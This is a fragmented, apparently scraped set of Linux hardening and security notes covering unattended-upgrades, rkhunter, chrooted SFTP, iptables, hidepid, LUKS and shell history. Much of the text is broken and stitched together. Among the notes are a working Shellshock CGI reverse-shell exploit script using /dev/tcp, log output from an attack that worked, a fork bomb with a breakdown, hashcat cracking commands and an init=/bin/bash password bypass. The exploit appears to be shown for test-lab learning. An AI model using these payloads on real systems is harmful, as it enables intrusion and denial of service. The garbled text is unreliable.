algo. : 6 salt : UXsKcZI/iGUnpODg hashed : g2m6kMIsl8XjI7pO7tz6a9Ev9.Qru7Mr.Xkdi2835/WvhxhXmazn7HHhhv9LtvJ/hCUyERR5uaSEDXvzzRhCf/
algo. : 6 salt : UXsKcZI/iGUnpODg hashed : g2m6kMIsl8XjI7pO7tz6a9Ev9.Qru7Mr.Xkdi2835/WvhxhXmazn7HHhhv9LtvJ/hCUyERR5uaSEDXvzzRhCf/We get the same values as above !
Lockinghistorically meant
locking the account, but today it only locks the password.
All actions below are performed as root.
Unattended-Upgrade::Origins-Pattern {
// Codename based matching:
// This will follow the migration of a release through different
// archives (e.g. from testing to stable and later oldstable).
// "o=Debian,n=jessie";
// "o=Debian,n=jessie-updates";
// "o=Debian,n=jessie-proposed-updates";
// "o=Debian,n=jessie,l=Debian-Security";
// Archive or Suite based matching:
// Note that this will silently match a different release after
// migration to the specified archive (e.g. testing becomes the
// new stable).
// "o=Debian,a=stable";
// "o=Debian,a=stable-updates";
// "o=Debian,a=proposed-updates";
"origin=Debian,codename=${distro_codename},label=Debian-Security"; all lines but this one are commented
};
Unattended-Upgrade::MinimalSteps "true";
Unattended-Upgrade::Mail "root";
cat << EOF > /etc/apt/apt.conf.d/20auto-upgrades
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
EOF
[apt]
email_address=you@example.com
If you're suspecting malicious modifications, make sure /path/to/md5.local won't be altered as well :
Depending on its configuration, Git may not report differences regarding space
and TAB
characters.
Flag | Usage |
---|---|
-c --check | Perform checks on the local system. Results are written to stdout and to /var/log/rkhunter.log. |
--update | download updated versions of text data files (if available) with wget or lynx. This command has unusual return codes :
|
--propupd | rkhunter detects altered files by computing their checksum and comparing it to a stored version of this previously computed checksum. If both match: everything is going extremely well; otherwise, there _may_ be a problem. This command flag is used to manually update the catalog of stored checksums. The catalog checksums are a reference of a clean state. If an altered file is recorded this way, no future check will be able to report it. Files can also be genuinely altered by system updates and trigger warnings. To workaround this, edit /etc/rkhunter.conf and set values (source) :
After updating these values, you MUST rebuild the catalog with rkhunter --propupd |
[09:34:18] /usr/bin/unhide.rb [ Warning ] [09:34:18] Warning: The command '/usr/bin/unhide.rb' has been replaced by a script: /usr/bin/unhide.rb: Ruby script, ASCII textand :
[09:37:49] Checking for hidden files and directories [ Warning ] [09:37:49] Warning: Hidden directory found: /etc/.java
As for /usr/bin/unhide.rb: this is because rkhunter interprets finding a script or symlink while expecting a binary as a sign of compromise. rkhunter was designed on Red Hatoids, where such things are rather uncommon, whereas they are frequent on Debianoids. (source)
It's the same explanation for /etc/.java: not expected on Red Hatoids, but placed there on Debianoids. (source)
TMOUT=seconds
TMOUT=seconds
These settings will be enabled only after the next login of the affected user(s).
timed out waiting for input: auto-logout
Connection to 12.34.56.78 closed.
bob:x:1002:1000::/sftp/upload:/bin/false
Subsystem sftp
and change it into Subsystem sftp internal-sftp
(Subsystem sftp internal-sftp /usr/lib/openssh/sftp-server ==> ???)Match Group sftpUsers PasswordAuthentication yes ChrootDirectory /var/data/sftp/ AllowTCPForwarding no X11Forwarding no ForceCommand internal-sftp
Here is the hack that makes the whole thing work : Bob may be able to read/write the directory that is just below the chrooted dir. The directory tree becomes :
!ADH
in your call to SSL_set_cipher_list
.kEECDH:kEDH
in your call to SSL_set_cipher_list
.Run this and you'll know : env x='() { :;}; echo "You are VULNERABLE."' bash -c "echo 'Dont panic : this is a test'"
If it displays :
You are VULNERABLE. Dont panic : this is a testYou're running a vulnerable version of Bash. This is fine if you plan to test the hack below. Otherwise, update your system now !
If it displays :
bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' Dont panic : this is a testIt seems you applied the first update, which makes things better, but you may still be vulnerable. The hack below won't work. Please update Bash.
If it displays :
Dont panic : this is a testYou are up-to-date and safe.
DO THIS ONLY IN A TESTING ENVIRONMENT !!!
If you're already running a fixed version, you'll have to downgrade Bash to a vulnerable version :This experience was inspired by this code :
# #CVE-2014-6271 cgi-bin reverse shell # import httplib, urllib, sys if (len(sys.argv) < 4): print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0] print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0] exit(0) conn = httplib.HTTPConnection(sys.argv[1]) reverse_shell = "() { ignored; }; /bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3] headers = { "Content-type": "application/x-www-form-urlencoded", "test": reverse_shell } conn.request("GET", sys.argv[2], headers=headers) res = conn.getresponse() print res.status, res.reason data = res.read() print data
<VirtualHost *:80> ServerName testCgi ScriptAlias / /var/www/testCgi/ DocumentRoot /var/www/testCgi <Directory /var/www/testCgi> Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch AllowOverride None Order allow,deny allow from all </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log LogLevel warn </VirtualHost>
#!/usr/bin/env bash echo 'Content-type: text/plain' echo echo 'Hello world.'
--2014-09-25 23:53:09-- http://192.168.1.35/script.sh Connecting to 192.168.1.35:80...connected. HTTP request sent, awaiting response...Actually, this shows our attack worked : the remote CGI script has spawned a new Bash shell, which has itself started a listening Netcat instance via the "Shellshock" bug.
This method is a good alternative to fail2ban : iptables is fast, kernel level, memory efficient, and doesn't require daemons that go bananas and kill your CPU (source).
There is a hack to increase security of applications that need not being open on the Internet : configure them to listen on the 127.0.0.1 interface, then connect to them via an SSH tunnel.
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 -j DROPThis will DROP an incoming connection if :
To update rules, do not try to edit /etc/iptables/rules.v4. Instead, just edit rules from the shell, then save them.
hidepid value | Usage |
---|---|
0 | default behavior : users can see others' processes |
1 | ps and top only return user's own processes. But it is still possible to see others' processes while browsing /proc/ subdirectories. |
2 | ps and top only return user's own processes. It is not possible anymore to wander in /proc/ subdirectories. |
Of course, root still sees all processes.
proc /proc proc defaults,hidepid=2 0 0
Flag | Usage |
---|---|
-a n --attack-mode=n |
Specify the attack-mode from :
|
-m n --hash-type=n | Specify the hash type. See list |
./h4 -a 3 -m 1800 fileContainingHashes [mask]
Mind your mask specification, or this will last forever !*
from MySQL hashes.Mind your mask specification, or this will last forever !
init=/bin/bash
ro quiet
or ro single
with rw init=/bin/bash
Key slot 0 unlocked. Command successful.
/dev/mapper/barracuda /mount/point ext4 noauto,user 0 0
mount: only root can do that
# <target name> <source device> <key file> <options> secure /dev/sda4 none luks,timeout=10
/dev/mapper/secure /mnt/secure ext4 noauto,defaults 0 0
:(){ :|:& };:
:(){ :|:& };: :() define a function named : { beginning of function block : execute the : function ... | ... and pipe its output to ... : ... another copy of the : function (i.e. running the : function spawns itself twice, causing a chain-reaction) & turn the function into a background process, so that it survives the death of its parent } end of function block ; end of definition : execute the : function. The chain-reaction begins.
HISTCONTROL.*ignorespace
' ~/.bashrc ~/.bash_profile /etc/bash.bashrcexport LESSHISTFILE="/dev/null"